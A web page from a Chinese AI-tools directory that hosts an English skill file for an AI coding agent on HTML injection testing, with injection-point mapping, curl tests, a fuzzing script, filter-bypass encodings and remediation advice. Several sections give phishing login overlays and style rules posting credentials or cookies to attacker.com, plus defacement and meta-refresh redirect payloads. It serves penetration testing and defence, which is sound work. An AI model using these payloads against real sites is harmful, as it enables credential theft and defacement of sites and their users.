鱼皮AI导航
鱼皮AI导航
  • 主页
  • 社区
  • AI工具
  • AI知识库
  • AI提示词
  • MCP
  • Skills
  • AI学习资源
  • AI资讯
  • GitHub开源
登录/注册

html-injection-testing

检测并利用网页中用户输入未过滤导致的HTML注入漏洞,实现页面内容篡改、构造钓鱼表单或网站挂马等攻击效果,验证应用在输入处理上的安全缺陷,并提供修复建议。

内容与媒体
访问 GitHub
文档Skills.MD
name
HTML Injection Testing
description
This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
metadata{"author":"zebbern","version":"1.1"}

HTML Injection Testing

Purpose

Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.

Prerequisites

Required Tools

  • Web browser with developer tools
  • Burp Suite or OWASP ZAP
  • Tamper Data or similar proxy
  • cURL for testing payloads

Required Knowledge

  • HTML fundamentals
  • HTTP request/response structure
  • Web application input handling
  • Difference between HTML injection and XSS

Outputs and Deliverables

  1. Vulnerability Report - Identified injection points
  2. Exploitation Proof - Demonstrated content manipulation
  3. Impact Assessment - Potential phishing and defacement risks
  4. Remediation Guidance - Input validation recommendations

Core Workflow

Phase 1: Understanding HTML Injection

HTML injection occurs when user input is reflected in web pages without proper sanitization:

▼
html
复制代码
<!-- Vulnerable code example --> <div> Welcome, <?php echo $_GET['name']; ?> </div> <!-- Attack input --> ?name=<h1>Injected Content</h1> <!-- Rendered output --> <div> Welcome, <h1>Injected Content</h1> </div>

Key differences from XSS:

  • HTML injection: Only HTML tags are rendered
  • XSS: JavaScript code is executed
  • HTML injection is often stepping stone to XSS

Attack goals:

  • Modify website appearance (defacement)
  • Create fake login forms (phishing)
  • Inject malicious links
  • Display misleading content

Phase 2: Identifying Injection Points

Map application for potential injection surfaces:

▼
text
复制代码
1. Search bars and search results 2. Comment sections 3. User profile fields 4. Contact forms and feedback 5. Registration forms 6. URL parameters reflected on page 7. Error messages 8. Page titles and headers 9. Hidden form fields 10. Cookie values reflected on page

Common vulnerable parameters:

▼
text
复制代码
?name= ?user= ?search= ?query= ?message= ?title= ?content= ?redirect= ?url= ?page=

Phase 3: Basic HTML Injection Testing

Test with simple HTML tags:

▼
html
复制代码
<!-- Basic text formatting --> <h1>Test Injection</h1> <b>Bold Text</b> <i>Italic Text</i> <u>Underlined Text</u> <font color="red">Red Text</font> <!-- Structural elements --> <div style="background:red;color:white;padding:10px">Injected DIV</div> <p>Injected paragraph</p> <br><br><br>Line breaks <!-- Links --> <a href="http://attacker.com">Click Here</a> <a href="http://attacker.com">Legitimate Link</a> <!-- Images --> <img src="http://attacker.com/image.png"> <img src="x" onerror="alert(1)"> <!-- XSS attempt -->

Testing workflow:

▼
bash
复制代码
# Test basic injection curl "http://target.com/search?q=<h1>Test</h1>" # Check if HTML renders in response curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold" # Test in URL-encoded form curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"

Phase 4: Types of HTML Injection

Stored HTML Injection

Payload persists in database:

▼
html
复制代码
<!-- Profile bio injection --> Name: John Doe Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;"> <h1>Site Under Maintenance</h1> <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p> </div> <!-- Comment injection --> Great article! <form action="http://attacker.com/steal" method="POST"> <input name="username" placeholder="Session expired. Enter username:"> <input name="password" type="password" placeholder="Password:"> <input type="submit" value="Login"> </form>

Reflected GET Injection

Payload in URL parameters:

▼
html
复制代码
<!-- URL injection --> http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal"> <!-- Search result injection --> http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>

Reflected POST Injection

Payload in POST data:

▼
bash
复制代码
# POST injection test curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \ http://target.com/submit # Form field injection curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \ http://target.com/register

URL-Based Injection

Inject into displayed URLs:

▼
html
复制代码
<!-- If URL is displayed on page --> http://target.com/page/<h1>Injected</h1> <!-- Path-based injection --> http://target.com/users/<img src=x>/profile

Phase 5: Phishing Attack Construction

Create convincing phishing forms:

▼
html
复制代码
<!-- Fake login form overlay --> <div style="position:fixed;top:0;left:0;width:100%;height:100%; background:white;z-index:9999;padding:50px;"> <h2>Session Expired</h2> <p>Your session has expired. Please log in again.</p> <form action="http://attacker.com/capture" method="POST"> <label>Username:</label><br> <input type="text" name="username" style="width:200px;"><br><br> <label>Password:</label><br> <input type="password" name="password" style="width:200px;"><br><br> <input type="submit" value="Login"> </form> </div> <!-- Hidden credential stealer --> <style> input { background: url('http://attacker.com/log?data=') } </style> <form action="http://attacker.com/steal" method="POST"> <input name="user" placeholder="Verify your username"> <input name="pass" type="password" placeholder="Verify your password"> <button>Verify</button> </form>

URL-encoded phishing link:

▼
text
复制代码
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E

Phase 6: Defacement Payloads

Website appearance manipulation:

▼
html
复制代码
<!-- Full page overlay --> <div style="position:fixed;top:0;left:0;width:100%;height:100%; background:#000;color:#0f0;z-index:9999; display:flex;justify-content:center;align-items:center;"> <h1>HACKED BY SECURITY TESTER</h1> </div> <!-- Content replacement --> <style>body{display:none}</style> <body style="display:block !important"> <h1>This site has been compromised</h1> </body> <!-- Image injection --> <img src="http://attacker.com/defaced.jpg" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999"> <!-- Marquee injection (visible movement) --> <marquee behavior="alternate" style="font-size:50px;color:red;"> SECURITY VULNERABILITY DETECTED </marquee>

Phase 7: Advanced Injection Techniques

CSS Injection

▼
html
复制代码
<!-- Style injection --> <style> body { background: url('http://attacker.com/track?cookie='+document.cookie) } .content { display: none } .fake-content { display: block } </style> <!-- Inline style injection --> <div style="background:url('http://attacker.com/log')">Content</div>

Meta Tag Injection

▼
html
复制代码
<!-- Redirect via meta refresh --> <meta http-equiv="refresh" content="0;url=http://attacker.com/phish"> <!-- CSP bypass attempt --> <meta http-equiv="Content-Security-Policy" content="default-src *">

Form Action Override

▼
html
复制代码
<!-- Hijack existing form --> <form action="http://attacker.com/steal"> <!-- If form already exists, add input --> <input type="hidden" name="extra" value="data"> </form>

iframe Injection

▼
html
复制代码
<!-- Embed external content --> <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe> <!-- Invisible tracking iframe --> <iframe src="http://attacker.com/track" style="display:none"></iframe>

Phase 8: Bypass Techniques

Evade basic filters:

▼
html
复制代码
<!-- Case variations --> <H1>Test</H1> <ScRiPt>alert(1)</ScRiPt> <!-- Encoding variations --> &#60;h1&#62;Encoded&#60;/h1&#62; %3Ch1%3EURL%20Encoded%3C%2Fh1%3E <!-- Tag splitting --> <h 1>Split Tag</h1> <!-- Null bytes --> <h1%00>Null Byte</h1> <!-- Double encoding --> %253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E <!-- Unicode encoding --> \u003ch1\u003eUnicode\u003c/h1\u003e <!-- Attribute-based --> <div onmouseover="alert(1)">Hover me</div> <img src=x onerror=alert(1)>

Phase 9: Automated Testing

Using Burp Suite

▼
text
复制代码
1. Capture request with potential injection point 2. Send to Intruder 3. Mark parameter value as payload position 4. Load HTML injection wordlist 5. Start attack 6. Filter responses for rendered HTML 7. Manually verify successful injections

Using OWASP ZAP

▼
text
复制代码
1. Spider the target application 2. Active Scan with HTML injection rules 3. Review Alerts for injection findings 4. Validate findings manually

Custom Fuzzing Script

▼
python
复制代码
#!/usr/bin/env python3 import requests import urllib.parse target = "http://target.com/search" param = "q" payloads = [ "<h1>Test</h1>", "<b>Bold</b>", "<script>alert(1)</script>", "<img src=x onerror=alert(1)>", "<a href='http://evil.com'>Click</a>", "<div style='color:red'>Styled</div>", "<marquee>Moving</marquee>", "<iframe src='http://evil.com'></iframe>", ] for payload in payloads: encoded = urllib.parse.quote(payload) url = f"{target}?{param}={encoded}" try: response = requests.get(url, timeout=5) if payload.lower() in response.text.lower(): print(f"[+] Possible injection: {payload}") elif "<h1>" in response.text or "<b>" in response.text: print(f"[?] Partial reflection: {payload}") except Exception as e: print(f"[-] Error: {e}")

Phase 10: Prevention and Remediation

Secure coding practices:

▼
php
复制代码
// PHP: Escape output echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); // PHP: Strip tags echo strip_tags($user_input); // PHP: Allow specific tags only echo strip_tags($user_input, '<p><b><i>');
▼
python
复制代码
# Python: HTML escape from html import escape safe_output = escape(user_input) # Python Flask: Auto-escaping {{ user_input }} # Jinja2 escapes by default {{ user_input | safe }} # Marks as safe (dangerous!)
▼
javascript
复制代码
// JavaScript: Text content (safe) element.textContent = userInput; // JavaScript: innerHTML (dangerous!) element.innerHTML = userInput; // Vulnerable! // JavaScript: Sanitize const clean = DOMPurify.sanitize(userInput); element.innerHTML = clean;

Server-side protections:

  • Input validation (whitelist allowed characters)
  • Output encoding (context-aware escaping)
  • Content Security Policy (CSP) headers
  • Web Application Firewall (WAF) rules

Quick Reference

Common Test Payloads

PayloadPurpose
<h1>Test</h1>Basic rendering test
<b>Bold</b>Simple formatting
<a href="evil.com">Link</a>Link injection
<img src=x>Image tag test
<div style="color:red">Style injection
<form action="evil.com">Form hijacking

Injection Contexts

ContextTest Approach
URL parameter?param=<h1>test</h1>
Form fieldPOST with HTML payload
Cookie valueInject via document.cookie
HTTP headerInject in Referer/User-Agent
File uploadHTML file with malicious content

Encoding Types

TypeExample
URL encoding%3Ch1%3E = <h1>
HTML entities&#60;h1&#62; = <h1>
Double encoding%253C = <
Unicode\u003c = <

Constraints and Limitations

Attack Limitations

  • Modern browsers may sanitize some injections
  • CSP can prevent inline styles and scripts
  • WAFs may block common payloads
  • Some applications escape output properly

Testing Considerations

  • Distinguish between HTML injection and XSS
  • Verify visual impact in browser
  • Test in multiple browsers
  • Check for stored vs reflected

Severity Assessment

  • Lower severity than XSS (no script execution)
  • Higher impact when combined with phishing
  • Consider defacement/reputation damage
  • Evaluate credential theft potential

Troubleshooting

IssueSolutions
HTML not renderingCheck if output HTML-encoded; try encoding variations; verify HTML context
Payload strippedUse encoding variations; try tag splitting; test null bytes; nested tags
XSS not working (HTML only)JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects
内容与媒体

快捷安装

复制到终端去安装 Skill

npxskillsaddzebbern/claude-code-guide--skill"html-injection-testing"
站长:程序员鱼皮 老鱼简历 商务合作 增值电信业务经营许可证
2026 鱼皮AI导航 | 沪ICP备19026706号-6
站长:程序员鱼皮 老鱼简历 商务合作 增值电信业务经营许可证
2026 鱼皮AI导航 | 沪ICP备19026706号-6
🔥热门工具
朱雀AI检测朱雀AI检测
朱雀AI检测助手朱雀AI检测助手
LovartLovart
老鱼简历老鱼简历
WritePass官网WritePass官网
面多多面多多
CursorCursor
星月写作星月写作
零感AI零感AI
墨得问题墨得问题
Skills 推荐
docx
支持专业级 Word 文档的全生命周期处理,包括从零创建结构化文档、精准编辑内容、管理修订痕迹与批注、提取纯文本或原始 XML 数据、转换为 PDF 或图像用于视觉分析,适用于法律、学术及企业场景下的高保真文档协作与自动化处理。
mermaid-sequence-diagram-creator
自动生成和优化序列图内容,支持可视化文档的快速构建与标准化输出,适用于图表设计、技术文档及演示材料的高效创作场景。
product-copy-assistant
为产品界面、文档和系统消息生成清晰简洁的用户文案,覆盖按钮标签、错误提示、工具提示、引导流程、空状态、确认对话框等场景,兼顾可访问性与不同角色(如开发者或终端用户)的语言习惯和实际需求。
office
生成和操作 Office 文档与 PDF,支持在 Node.js、浏览器及边缘运行时环境中创建 DOCX、XLSX、PPTX 和 PDF 文件,适用于报表生成、发票导出、数据可视化及文档自动化场景。
market-research-reports
生成面向战略决策的深度市场研究报告,涵盖行业分析、竞争格局、客户细分、技术趋势及风险评估,集成波特五力、PESTLE、SWOT、TAM/SAM/SOM 和 BCG 矩阵等多维框架,辅以专业级 LaTeX 排版与科学图表生成,输出 50 页以上 PDF 报告。